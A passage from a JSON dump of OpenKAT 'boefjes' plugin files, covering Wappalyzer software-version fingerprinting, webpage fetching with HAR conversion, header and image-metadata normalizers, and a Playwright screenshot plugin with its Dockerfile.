\"https://raw.githubusercontent.com/enthec/webappanalyzer/refs/heads/main/src/technologies/g.json\"\noutput = \"technologies/g.json\"\n\nurl = \"https://raw.githubusercontent.com/enthec/webappanalyzer/refs/heads/main/src/technologies/h.json\"\noutput = \"technologies/h.json\"\n\nurl = \"https://raw.githubusercontent.com/enthec/webappanalyzer/refs/heads/main/src/technologies/i.json\"\noutput = \"technologies/i.json\"\n\nurl = \"https://raw.githubusercontent.com/enthec/webappanalyzer/refs/heads/main/src/technologies/j.json\"\noutput = \"technologies/j.json\"\n\nurl = \"https://raw.githubusercontent.com/enthec/webappanalyzer/refs/heads/main/src/technologies/k.json\"\noutput = \"technologies/k.json\"\n\nurl = \"https://raw.githubusercontent.com/enthec/webappanalyzer/refs/heads/main/src/technologies/l.json\"\noutput = \"technologies/l.json\"\n\nurl = \"https://raw.githubusercontent.com/enthec/webappanalyzer/refs/heads/main/src/technologies/m.json\"\noutput = \"technologies/m.json\"\n\nurl = \"https://raw.githubusercontent.com/enthec/webappanalyzer/refs/heads/main/src/technologies/n.json\"\noutput = \"technologies/n.json\"\n\nurl = \"https://raw.githubusercontent.com/enthec/webappanalyzer/refs/heads/main/src/technologies/o.json\"\noutput = \"technologies/o.json\"\n\nurl = \"https://raw.githubusercontent.com/enthec/webappanalyzer/refs/heads/main/src/technologies/p.json\"\noutput = \"technologies/p.json\"\n\nurl = \"https://raw.githubusercontent.com/enthec/webappanalyzer/refs/heads/main/src/technologies/q.json\"\noutput = \"technologies/q.json\"\n\nurl = \"https://raw.githubusercontent.com/enthec/webappanalyzer/refs/heads/main/src/technologies/r.json\"\noutput = \"technologies/r.json\"\n\nurl = \"https://raw.githubusercontent.com/enthec/webappanalyzer/refs/heads/main/src/technologies/s.json\"\noutput = \"technologies/s.json\"\n\nurl = \"https://raw.githubusercontent.com/enthec/webappanalyzer/refs/heads/main/src/technologies/t.json\"\noutput = \"technologies/t.json\"\n\nurl = \"https://raw.githubusercontent.com/enthec/webappanalyzer/refs/heads/main/src/technologies/u.json\"\noutput = \"technologies/u.json\"\n\nurl = \"https://raw.githubusercontent.com/enthec/webappanalyzer/refs/heads/main/src/technologies/v.json\"\noutput = \"technologies/v.json\"\n\nurl = \"https://raw.githubusercontent.com/enthec/webappanalyzer/refs/heads/main/src/technologies/w.json\"\noutput = \"technologies/w.json\"\n\nurl = \"https://raw.githubusercontent.com/enthec/webappanalyzer/refs/heads/main/src/technologies/x.json\"\noutput = \"technologies/x.json\"\n\nurl = \"https://raw.githubusercontent.com/enthec/webappanalyzer/refs/heads/main/src/technologies/y.json\"\noutput = \"technologies/y.json\"\n\nurl = \"https://raw.githubusercontent.com/enthec/webappanalyzer/refs/heads/main/src/technologies/z.json\"\noutput = \"technologies/z.json\"\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/normalize.py",
    "content": "from collections.abc import Iterable\nfrom pathlib import Path\nfrom typing import cast\n\nimport httpx\nfrom tanimachi import (\n    Categories,\n    Fingerprints,\n    Groups,\n    Har,\n    Wappalyzer,\n    analyze_css,\n    analyze_headers,\n    analyze_scripts,\n    analyze_url,\n    schemas,\n)\nfrom tanimachi.wappalyzer import (\n    Detection,\n    HarWrapper,\n    analyze_cookies,\n    analyze_dom,\n    analyze_html,\n    analyze_meta,\n    is_html,\n)\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom boefjes.plugins.kat_wappalyzer.utils import replace_cpe_version\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import Network\nfrom octopoes.models.ooi.software import Software, SoftwareInstance\nfrom octopoes.models.ooi.web import HostnameHTTPURL\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    pk = input_ooi[\"primary_key\"]\n    tokenized_weburl = Reference.from_str(pk).tokenized[\"web_url\"]\n    tokenized_hostname = Reference.from_str(pk).tokenized[\"website\"][\"hostname\"]\n\n    network = Network(name=tokenized_hostname[\"network\"][\"name\"])\n    hostname = Hostname(network=network.reference, name=tokenized_hostname[\"name\"])\n    web_url = HostnameHTTPURL(\n        network=network.reference,\n        netloc=hostname.reference,\n        port=tokenized_weburl[\"port\"],\n        scheme=tokenized_weburl[\"scheme\"],\n        path=tokenized_weburl[\"path\"],\n    )\n\n    data_directory = Path(__file__).parent / \"data\"\n    fingerprints = Fingerprints.model_validate_pattern(data_directory.joinpath(\"technologies/*.json\").as_posix())\n    categories = Categories.model_validate_file(data_directory.joinpath(\"categories.json\"))\n    groups = Groups.model_validate_file(data_directory.joinpath(\"groups.json\"))\n    httpx.HTTPTransport()\n    har = Har.model_validate_json(raw)\n\n    wappalyzer = Wappalyzer(fingerprints, categories=categories, groups=groups)\n\n    analyzes = [analyze_scripts, analyze_css]\n\n    # check if the content type is html\n    if har.log.entries and is_html(har.log.entries[0]):\n        analyzes.extend(\n            [\n                analyze_headers,\n                analyze_url,\n                analyze_cookies,\n                analyze_meta,\n                analyze_html,\n                analyze_dom,\n                analyze_script_src_in_html,\n            ]\n        )\n\n    detections = cast(list[Detection], wappalyzer.analyze(har, analyzes=analyzes))\n\n    for detection in detections:\n        version = None\n        cpe = detection.fingerprint.cpe\n        if detection.pattern.version:\n            version = detection.pattern.regex.search(detection.value).expand(detection.pattern.version)\n\n        if cpe is not None and version is not None:\n            cpe = replace_cpe_version(cpe, version)\n\n        software = Software(name=detection.fingerprint.id, version=version, cpe=cpe)\n        software_instance = SoftwareInstance(ooi=web_url.reference, software=software.reference)\n        yield from [software, software_instance]\n\n\n# analyze_scripts is used to check javascript files, therefore we need another analyzer that analyzes the script\n# source in the html\ndef analyze_script_src_in_html(har: HarWrapper, fingerprint: schemas.Fingerprint) -> list[Detection]:\n    detections: list[Detection] = []\n\n    for pattern in fingerprint.script_src:\n        if pattern.regex.search(har.html):\n            detections.append(\n                Detection(url=har.url, fingerprint=fingerprint, app_type=\"html\", pattern=pattern, value=har.html)\n            )\n\n    return detections\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/normalizer.json",
    "content": "{\n  \"id\": \"kat_wappalyzer_normalize\",\n  \"name\": \"Wappalyzer\",\n  \"description\": \"Checks HTTP responses for Software versions.\",\n  \"consumes\": [\n    \"application/json+har\"\n  ],\n  \"produces\": [\n    \"Software\",\n    \"SoftwareInstance\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/utils.py",
    "content": "from cpe import CPE\n\n\n# replaces the version in an CPE 2.3 formatted string\ndef replace_cpe_version(cpe: str, version: str) -> str:\n    cpe = CPE(cpe).as_fs()\n\n    split = cpe.split(\":\")\n    split[4] = version\n\n    return \":\".join(split)\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_webpage_analysis/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_webpage_analysis/boefje.json",
    "content": "{\n  \"id\": \"webpage-analysis\",\n  \"name\": \"WebpageAnalysis\",\n  \"description\": \"Downloads a resource and uses several different normalizers to analyze\",\n  \"consumes\": [\n    \"HTTPResource\"\n  ],\n  \"produces\": [\n    \"application/json+har\",\n    \"openkat-http/headers\",\n    \"openkat-http/body\",\n    \"application/javascript\",\n    \"application/javascript\",\n    \"application/json\",\n    \"application/manifest+json\",\n    \"application/msword\",\n    \"application/msword\",\n    \"application/msword\",\n    \"application/octet-stream\",\n    \"application/octet-stream\",\n    \"application/octet-stream\",\n    \"application/octet-stream\",\n    \"application/octet-stream\",\n    \"application/octet-stream\",\n    \"application/octet-stream\",\n    \"application/oda\",\n    \"application/pdf\",\n    \"application/pkcs7-mime\",\n    \"application/postscript\",\n    \"application/postscript\",\n    \"application/postscript\",\n    \"application/vnd.apple.mpegurl\",\n    \"application/vnd.apple.mpegurl\",\n    \"application/vnd.ms-excel\",\n    \"application/vnd.ms-excel\",\n    \"application/vnd.ms-powerpoint\",\n    \"application/vnd.ms-powerpoint\",\n    \"application/vnd.ms-powerpoint\",\n    \"application/vnd.ms-powerpoint\",\n    \"application/vnd.ms-powerpoint\",\n    \"application/wasm\",\n    \"application/x-bcpio\",\n    \"application/x-cpio\",\n    \"application/x-csh\",\n    \"application/x-dvi\",\n    \"application/x-gtar\",\n    \"application/x-hdf\",\n    \"application/x-hdf5\",\n    \"application/x-latex\",\n    \"application/x-mif\",\n    \"application/x-netcdf\",\n    \"application/x-netcdf\",\n    \"application/x-pkcs12\",\n    \"application/x-pkcs12\",\n    \"application/x-pn-realaudio\",\n    \"application/x-python-code\",\n    \"application/x-python-code\",\n    \"application/x-sh\",\n    \"application/x-shar\",\n    \"application/x-shockwave-flash\",\n    \"application/x-sv4cpio\",\n    \"application/x-sv4crc\",\n    \"application/x-tar\",\n    \"application/x-tcl\",\n    \"application/x-tex\",\n    \"application/x-texinfo\",\n    \"application/x-texinfo\",\n    \"application/x-troff\",\n    \"application/x-troff\",\n    \"application/x-troff\",\n    \"application/x-troff-man\",\n    \"application/x-troff-me\",\n    \"application/x-troff-ms\",\n    \"application/x-ustar\",\n    \"application/x-wais-source\",\n    \"application/xml\",\n    \"application/xml\",\n    \"application/xml\",\n    \"application/xml\",\n    \"application/zip\",\n    \"audio/basic\",\n    \"audio/basic\",\n    \"audio/mpeg\",\n    \"audio/mpeg\",\n    \"audio/x-aiff\",\n    \"audio/x-aiff\",\n    \"audio/x-aiff\",\n    \"audio/x-pn-realaudio\",\n    \"audio/x-wav\",\n    \"image/x-ms-bmp\",\n    \"image/gif\",\n    \"image/ief\",\n    \"image/jpeg\",\n    \"image/jpeg\",\n    \"image/jpeg\",\n    \"image/png\",\n    \"image/svg+xml\",\n    \"image/tiff\",\n    \"image/tiff\",\n    \"image/vnd.microsoft.icon\",\n    \"image/x-cmu-raster\",\n    \"image/x-portable-anymap\",\n    \"image/x-portable-bitmap\",\n    \"image/x-portable-graymap\",\n    \"image/x-portable-pixmap\",\n    \"image/x-rgb\",\n    \"image/x-xbitmap\",\n    \"image/x-xpixmap\",\n    \"image/x-xwindowdump\",\n    \"message/rfc822\",\n    \"message/rfc822\",\n    \"message/rfc822\",\n    \"message/rfc822\",\n    \"text/css\",\n    \"text/csv\",\n    \"text/html\",\n    \"text/html\",\n    \"text/plain\",\n    \"text/plain\",\n    \"text/plain\",\n    \"text/plain\",\n    \"text/plain\",\n    \"text/plain\",\n    \"text/richtext\",\n    \"text/tab-separated-values\",\n    \"text/x-python\",\n    \"text/x-setext\",\n    \"text/x-sgml\",\n    \"text/x-sgml\",\n    \"text/x-vcard\",\n    \"text/xml\",\n    \"video/mp4\",\n    \"video/mpeg\",\n    \"video/mpeg\",\n    \"video/mpeg\",\n    \"video/mpeg\",\n    \"video/mpeg\",\n    \"video/quicktime\",\n    \"video/quicktime\",\n    \"video/webm\",\n    \"video/x-msvideo\",\n    \"video/x-sgi-movie\"\n  ],\n  \"scan_level\": 2,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-generic:latest\",\n  \"oci_arguments\": [\n    \"kat_webpage_analysis.main\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_webpage_analysis/check_images/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_webpage_analysis/check_images/normalize.py",
    "content": "from collections.abc import Iterable\nfrom io import BytesIO\n\nfrom PIL import Image, UnidentifiedImageError\nfrom PIL.ExifTags import TAGS\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\nfrom octopoes.models.ooi.web import ImageMetadata\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    # fetch a reference to the original resource where these headers where downloaded from\n    resource = Reference.from_str(input_ooi[\"primary_key\"])\n    image = Image.open(BytesIO(raw))\n    image.MAX_IMAGE_PIXELS = 7680 * 4320  # 8K pixels for now\n\n    try:\n        image_info = {\n            \"size\": image.size,\n            \"height\": image.height,\n            \"width\": image.width,\n            \"format\": image.format,\n            \"mode\": image.mode,\n            \"is_animated\": getattr(image, \"is_animated\", False),\n            \"frames\": getattr(image, \"n_frames\", 1),\n        }\n        exif_data = image.getexif()\n\n        for tag_id in exif_data:\n            # human readable tag name\n            tag = TAGS.get(tag_id, tag_id)\n            tag_data = exif_data.get(tag_id)\n\n            if isinstance(tag_data, bytes):\n                tag_data = tag_data.decode()\n\n            image_info[tag] = tag_data\n\n        yield ImageMetadata(resource=resource, image_info=image_info)\n    except UnidentifiedImageError:\n        kat_number = \"BrokenImage\"\n        kat_ooi = KATFindingType(id=kat_number)\n        yield Finding(\n            finding_type=kat_ooi.reference,\n            ooi=resource,\n            description=\"Image is not recognized, possibly served with broken mime-type.\",\n        )\n\n    except Image.DecompressionBombWarning:\n        kat_number = \"DecompressionBomb\"\n        kat_ooi = KATFindingType(id=kat_number)\n        yield Finding(\n            finding_type=kat_ooi.reference,\n            ooi=resource,\n            description=f\"Image ended up bigger than {image.MAX_IMAGE_PIXELS} Pixels, possible decompression Bomb\",\n        )\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_webpage_analysis/check_images/normalizer.json",
    "content": "{\n  \"id\": \"kat_check_images\",\n  \"name\": \"Webpage analysis check images for metadata\",\n  \"description\": \"Checks images for metadata.\",\n  \"consumes\": [\n    \"image/jpeg\",\n    \"image/jpg\",\n    \"image/gif\",\n    \"image/png\",\n    \"image/bpm\",\n    \"image/ico\"\n  ],\n  \"produces\": [\n    \"ImageMetadata\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_webpage_analysis/description.md",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_webpage_analysis/find_images_in_html/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_webpage_analysis/find_images_in_html/normalize.py",
    "content": "from collections.abc import Iterable\nfrom urllib.parse import urljoin\n\nimport validators\nfrom bs4 import BeautifulSoup\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models.ooi.network import Network\nfrom octopoes.models.ooi.web import URL\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    soup = BeautifulSoup(raw, \"html.parser\")\n    images = {img[\"src\"] for img in soup.find_all(\"img\", src=True)}\n\n    network_name = input_ooi[\"website\"][\"hostname\"][\"network\"][\"name\"]\n    host = input_ooi[\"website\"][\"hostname\"][\"name\"]\n    service = input_ooi[\"website\"][\"ip_service\"][\"service\"][\"name\"]\n\n    url = f\"{service}://{host}/\"\n\n    for img in images:\n        if not validators.url(img):\n            img = urljoin(url, img)\n\n        yield URL(network=Network(name=network_name).reference, raw=img)\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_webpage_analysis/find_images_in_html/normalizer.json",
    "content": "{\n  \"id\": \"kat_find_images_in_html\",\n  \"name\": \"Webpage analysis find images in html\",\n  \"description\": \"Parses websites to find images.\",\n  \"consumes\": [\n    \"text/html\"\n  ],\n  \"produces\": [\n    \"HTTPResource\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_webpage_analysis/har/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_webpage_analysis/har/httpx.py",
    "content": "# utility functions for converting httpx requests to HAR format\n\n\nimport urllib.parse\nfrom collections.abc import Iterable, Sequence\nfrom datetime import datetime\nfrom http.cookiejar import Cookie\nfrom http.cookies import SimpleCookie\nfrom typing import AnyStr\n\nimport httpx\n\n\ndef create_har_object(response: httpx.Response) -> dict:\n    return {\n        \"log\": {\n            \"version\": \"1.2\",\n            \"creator\": {\"name\": \"kat_webpage_analysis\", \"version\": \"0.1\"},\n            \"browser\": {\"name\": \"httpx\", \"version\": httpx.__version__},\n            \"entries\": [\n                {\n                    \"startedDateTime\": datetime.now().astimezone().isoformat(),  #\n                    \"time\": 0,\n                    \"request\": map_request(response.request),\n                    \"response\": map_response(response),\n                    \"cache\": {},\n                    \"timings\": {\"send\": 0, \"wait\": 0, \"receive\": 0},\n                }\n            ],\n        }\n    }\n\n\ndef map_request(request: httpx.Request) -> dict:\n    def cookies_from_request(cookies: str | None) -> Sequence[dict]:\n        simple_cookie = SimpleCookie(cookies)\n        return [{\"name\": key, \"value\": value} for key, value in simple_cookie.items()]\n\n    def query_from_url(url: httpx.URL) -> list[tuple[AnyStr, AnyStr]]:\n        return urllib.parse.parse_qsl(url.query)  # type:ignore\n\n    return_value = {\n        \"method\": request.method,\n        \"url\": str(request.url),\n        \"httpVersion\": request.extensions.get(\"http_version\", \"HTTP/1.1\"),\n        \"cookies\": cookies_from_request(request.headers.get(\"Cookie\")),\n        \"queryString\": _name_value_pairs(query_from_url(request.url)),\n        \"headers\": _name_value_pairs(request.headers.items()),\n        \"headersSize\": -1,\n        \"bodySize\": -1,\n    }\n\n    if request.content:\n        mime_type = request.headers.get(\"Content-Type\")\n        if mime_type == \"application/x-www-form-urlencoded\":\n            text = request.content.decode()  # assuming utf-8 for now\n            params = urllib.parse.parse_qsl(text)\n            return_value[\"postData\"] = {\"mimeType\": mime_type, \"params\": _name_value_pairs(params), \"text\": text}\n\n    return return_value\n\n\ndef map_response(response: httpx.Response) -> dict:\n    return {\n        \"status\": response.status_code,\n        \"statusText\": response.reason_phrase,\n        \"httpVersion\": response.http_version,\n        \"cookies\": [map_cookie(cookie) for cookie in response.cookies.jar],\n        \"headers\": _name_value_pairs(response.headers.items()),\n        \"content\": {\n            \"size\": len(response.content),\n            \"mimeType\": response.headers.get(\"content-type\", \"text/html\"),\n            \"text\": response.text,\n        },\n        \"redirectURL\": str(response.url),\n        \"headersSize\": -1,\n        \"bodySize\": 0,\n    }\n\n\ndef map_cookie(cookie: Cookie) -> dict:\n    return {\n        \"name\": cookie.name,\n        \"value\": cookie.value,\n        \"path\": cookie.path,\n        \"domain\": cookie.domain,\n        \"expires\": (datetime.fromtimestamp(cookie.expires).astimezone().isoformat() if cookie.expires else None),\n        \"httpOnly\": False,  # Assuming httpOnly is not available in Cookie, setting it to False\n        \"secure\": cookie.secure,\n        \"comment\": cookie.comment or \"\",\n    }\n\n\ndef _name_value_pairs(iterable: Iterable) -> Sequence[dict]:\n    return [{\"name\": key, \"value\": value} for key, value in iterable]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_webpage_analysis/har/requests.py",
    "content": "# utility functions for converting requests to HAR format\n\n\nimport urllib.parse\nfrom collections.abc import Iterable, Sequence\nfrom datetime import datetime\nfrom http.cookiejar import Cookie\nfrom http.cookies import SimpleCookie\nfrom typing import Any, AnyStr\n\nimport requests\nimport requests.cookies\n\n\ndef create_har_object(response: requests.Response) -> dict:\n    return {\n        \"log\": {\n            \"version\": \"1.2\",\n            \"creator\": {\"name\": \"kat_webpage_analysis\", \"version\": \"0.1\"},\n            \"browser\": {\"name\": \"requests\", \"version\": requests.__version__},\n            \"entries\": [\n                {\n                    \"startedDateTime\": datetime.now().astimezone().isoformat(),\n                    \"time\": 0,\n                    \"request\": map_request(response.request),\n                    \"response\": map_response(response),\n                    \"cache\": {},\n                    \"timings\": {\"send\": 0, \"wait\": 0, \"receive\": 0},\n                }\n            ],\n        }\n    }\n\n\ndef map_request(request: requests.PreparedRequest) -> dict:\n    def cookies_from_request(cookies: str | None) -> Sequence[dict]:\n        simple_cookie = SimpleCookie(cookies)\n        return [{\"name\": key, \"value\": value.value} for key, value in simple_cookie.items()]\n\n    def query_from_url(url: str) -> list[tuple[AnyStr, AnyStr]]:\n        return urllib.parse.parse_qsl(urllib.parse.urlparse(url).query)  # type: ignore\n\n    return_value: dict[str, Any] = {\n        \"method\": request.method,\n        \"url\": request.url,\n        \"httpVersion\": \"HTTP/1.1\",\n        \"cookies\": cookies_from_request(request.headers.get(\"Cookie\")),\n        \"queryString\": _name_value_pairs(query_from_url(str(request.url))),\n        \"headers\": _name_value_pairs(request.headers.items()),\n        \"headersSize\": -1,\n        \"bodySize\": -1,\n    }\n\n    if request.body:\n        mime_type = request.headers.get(\"Content-Type\")\n        if mime_type == \"application/x-www-form-urlencoded\":\n            text = request.body\n            params = urllib.parse.parse_qsl(str(text))\n            return_value[\"postData\"] = {\"mimeType\": mime_type, \"params\": _name_value_pairs(params), \"text\": text}\n\n    return return_value\n\n\ndef map_response(response: requests.Response) -> dict:\n    return {\n        \"status\": response.status_code,\n        \"statusText\": response.reason,\n        \"httpVersion\": \"HTTP/1.1\",\n        \"cookies\": [map_cookie(cookie) for cookie in response.cookies],\n        \"headers\": _name_value_pairs(response.headers.items()),\n        \"content\": {\n            \"size\": len(response.content),\n            \"mimeType\": response.headers.get(\"content-type\", \"text/html\"),\n            \"text\": response.text,\n        },\n        \"redirectURL\": response.url,\n        \"headersSize\": -1,\n        \"bodySize\": 0,\n    }\n\n\ndef map_cookie(cookie: Cookie) -> dict:\n    return {\n        \"name\": cookie.name,\n        \"value\": cookie.value,\n        \"path\": cookie.path,\n        \"domain\": cookie.domain,\n        \"expires\": (datetime.fromtimestamp(cookie.expires).astimezone().isoformat() if cookie.expires else None),\n        \"httpOnly\": cookie._rest.get(\"HttpOnly\", False),  # type: ignore\n        \"secure\": cookie.secure,\n        \"comment\": cookie.comment or \"\",\n    }\n\n\ndef _name_value_pairs(iterable: Iterable) -> Sequence[dict]:\n    return [{\"name\": key, \"value\": value} for key, value in iterable]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_webpage_analysis/headers/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_webpage_analysis/headers/normalize.py",
    "content": "import json\nfrom collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.web import HTTPHeader\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    # fetch a reference to the original resource where these headers where downloaded from\n    resource = Reference.from_str(input_ooi[\"primary_key\"])\n\n    for key, value in json.loads(raw).items():\n        yield HTTPHeader(resource=resource, key=key, value=value)\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_webpage_analysis/headers/normalizer.json",
    "content": "{\n  \"id\": \"kat_webpage_analysis_headers_normalize\",\n  \"name\": \"Webpage analysis HTTP headers\",\n  \"description\": \"Parses the HTTP headers from websites.\",\n  \"consumes\": [\n    \"openkat-http/headers\"\n  ],\n  \"produces\": [\n    \"HTTPHeader\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_webpage_analysis/main.py",
    "content": "import ipaddress\nimport json\nimport mimetypes\nfrom os import getenv\nfrom urllib.parse import urlparse, urlunsplit\n\nimport requests\nfrom forcediphttpsadapter.adapters import ForcedIPHTTPSAdapter\nfrom requests import Session\n\n# TODO: refactor\nfrom boefjes.plugins.kat_webpage_analysis.har.requests import create_har_object\n\nALLOWED_CONTENT_TYPES = mimetypes.types_map.values()\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    input_ = boefje_meta[\"arguments\"][\"input\"]\n    useragent = getenv(\"USERAGENT\", default=\"OpenKAT\")\n\n    uri = get_uri(input_)\n    ip = input_[\"website\"][\"ip_service\"][\"ip_port\"][\"address\"][\"address\"]\n    # Code from https://github.com/Roadmaster/forcediphttpsadapter/blob/master/example.py\n    url_parts = urlparse(uri)\n    hostname = url_parts.netloc\n    session = requests.Session()\n\n    if url_parts.scheme == \"https\":\n        # Adapter is available, use it regardless of Python version\n        base_url = urlunsplit((url_parts.scheme, url_parts.netloc, \"\", \"\", \"\"))\n        session.mount(base_url, ForcedIPHTTPSAdapter(dest_ip=ip))\n    else:\n        # Fall back to old hack-ip-into-url behavior, for either https with no adapter, or http.\n        if ip:\n            try:\n                addr = ipaddress.ip_address(ip)\n            except ValueError:\n                # Not a valid IP address, so don't try to hack it into the URL\n                pass\n            else:\n                url_parts = url_parts._replace(netloc=f\"[{ip}]\") if addr.version == 6 else url_parts._replace(netloc=ip)\n\n            uri = urlunsplit([url_parts.scheme, url_parts.netloc, url_parts.path, url_parts.query, url_parts.fragment])\n\n    body_mimetypes = {\"openkat-http/body\"}\n    try:\n        response = do_request(hostname, session, uri, useragent)\n    except requests.exceptions.RequestException as request_error:\n        return [({\"openkat-http/error\"}, str(request_error))]\n\n    if \"content-type\" in response.headers:\n        content_type = response.headers[\"content-type\"]\n\n        if content_type in ALLOWED_CONTENT_TYPES:\n            body_mimetypes.add(content_type)\n\n        # Pick up the content type for the body from the server and split away encodings to make normalization easier\n        content_type_splitted = content_type.split(\";\")\n        if content_type_splitted[0] in ALLOWED_CONTENT_TYPES:\n            body_mimetypes.add(content_type_splitted[0])\n\n    har = json.dumps(create_har_object(response))\n\n    return [\n        ({\"application/json+har\"}, har.encode()),\n        ({\"openkat-http/headers\"}, json.dumps(dict(response.headers))),\n        (body_mimetypes, response.content),\n    ]\n\n\ndef do_request(hostname: str, session: Session, uri: str, useragent: str):\n    response = session.get(\n        uri, headers={\"Host\": hostname, \"User-Agent\": useragent}, verify=False, allow_redirects=False\n    )\n\n    return response\n\n\ndef get_uri(input_: dict) -> str:\n    port = f\":{input_['web_url']['port']}\"\n    netloc = (\n        input_[\"web_url\"][\"netloc\"][\"address\"]\n        if \"address\" in input_[\"web_url\"][\"netloc\"]\n        else input_[\"web_url\"][\"netloc\"][\"name\"]\n    )\n    uri = f\"{input_['web_url']['scheme']}://{netloc}{port}{input_['web_url']['path']}\"\n\n    return uri\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_webpage_analysis/requirements.txt",
    "content": "forcediphttpsadapter == 1.1.0\nurllib3 == 2.7.0\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_webpage_capture/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_webpage_capture/boefje.Dockerfile",
    "content": "FROM mcr.microsoft.com/playwright:v1.53.0-noble\n\nRUN apt-get update && \\\n    apt-get install -y --no-install-recommends software-properties-common &&  \\\n    add-apt-repository ppa:deadsnakes/ppa -y &&  \\\n    apt-get update &&  \\\n    apt-get install -y --no-install-recommends python3.13 python3.13-venv && \\\n    python3.13 -m ensurepip --upgrade && \\\n    npx playwright install --with-deps chromium\n\nARG BOEFJES_API=http://boefje:8000\nENV BOEFJES_API=$BOEFJES_API\nENV PYTHONPATH=/app/boefje:/app\n\nWORKDIR /app/boefje\nRUN adduser --disabled-password --gecos '' nonroot\nRUN --mount=type=cache,target=/root/.cache pip3 install --upgrade pip &&  \\\n    pip3 install httpx structlog pydantic jsonschema croniter click\n\nUSER nonroot\n\nCOPY ./boefjes/worker ./worker\nCOPY ./boefjes/logging.json logging.json\n\nENTRYPOINT [\"/usr/bin/python3.13\", \"-m\", \"worker\"]\nCMD []\n\nARG OCI_IMAGE=ghcr.io/minvws/openkat/webpage-capture:latest\nENV OCI_IMAGE=$OCI_IMAGE\nENV PLAYWRIGHT_BROWSERS_PATH=/ms-playwright\n\nCOPY ./boefjes/plugins/kat_webpage_capture ./kat_webpage_capture\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_webpage_capture/boefje.Dockerfile.dockerignore",
    "content": "**/__pycache__\n**/boefje.Dockerfile*\n**/description.md\n**/cover.jpg\n**/normalize.py\n**/normalizer.json\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_webpage_capture/boefje.json",
    "content": "{\n  \"id\": \"webpage-capture\",\n  \"name\": \"Webpage Capture\",\n  \"description\": \"Takes a screenshot of a webpage. Image can be found on the Tasks page in the downloadable 'meta and raw data' file.\",\n  \"consumes\": [\n    \"HostnameHTTPURL\",\n    \"IPAddressHTTPURL\"\n  ],\n  \"produces\": [\n    \"image/png\",\n    \"application/zip+json\",\n    \"application/har+json\",\n    \"application/json\",\n    \"application/localstorage+json\"\n  ],\n  \"scan_level\": 2,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-webpage-capture:latest\",\n  \"oci_arguments\": []\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_webpage_capture/main.py",
    "content": "import subprocess\nfrom pathlib import Path\n\nBROWSER = \"chromium\"\n\n\nclass WebpageCaptureException(Exception):\n    \"\"\"Exception raised when webpage capture fails.\"\"\"\n\n    def __init__(self, message: str, container_log: str):\n        self.message = message\n        self.container_log = container_log\n\n    def __str__(self) -> str:\n        return str(self.message) + \"\\n\\nContainer log:\\n\" + self.container_log\n\n\ndef build_playwright_command(webpage: str, browser: str, tmp_path: str) -> list[str]:\n    \"\"\"Returns playwright command including webpage, browser and locations for image, har and storage.\"\"\"\n    return [\n        \"/usr/bin/npx\",\n        \"playwright\",\n        \"screenshot\",\n        \"-b\",\n        browser,\n        \"--full-page\",\n        \"--ignore-https-errors\",\n        f\"--save-har={tmp_path}.har.zip\",\n        f\"--save-storage={tmp_path}.json\",\n        webpage,\n        f\"{tmp_path}.png\",\n    ]\n\n\ndef run_playwright(webpage: str, browser: str) -> tuple[bytes, bytes, bytes]:\n    \"\"\"Run Playwright in Docker.\"\"\"\n    tmp_path = \"/tmp/output\"  # noqa: S108\n    command = build_playwright_command(webpage=webpage, browser=browser, tmp_path=tmp_path)\n    output = subprocess.run(command, capture_output=True)\n    output.check_returncode()\n\n    try:\n        image = Path(f\"{tmp_path}.png\").read_bytes()\n        har = Path(f\"{tmp_path}.har.zip\").read_bytes()\n        storage = Path(f\"{tmp_path}.json\").read_bytes()\n    except FileNotFoundError:\n        raise WebpageCaptureException(\n            \"Playwright container did not return expected files, command was: \" + \" \".join(command),\n            output.stdout.decode(),\n        )\n\n    return image, har, storage\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    \"\"\"Creates webpage and takes capture using Playwright container.\"\"\"\n    input_ = boefje_meta[\"arguments\"][\"input\"]\n    webpage 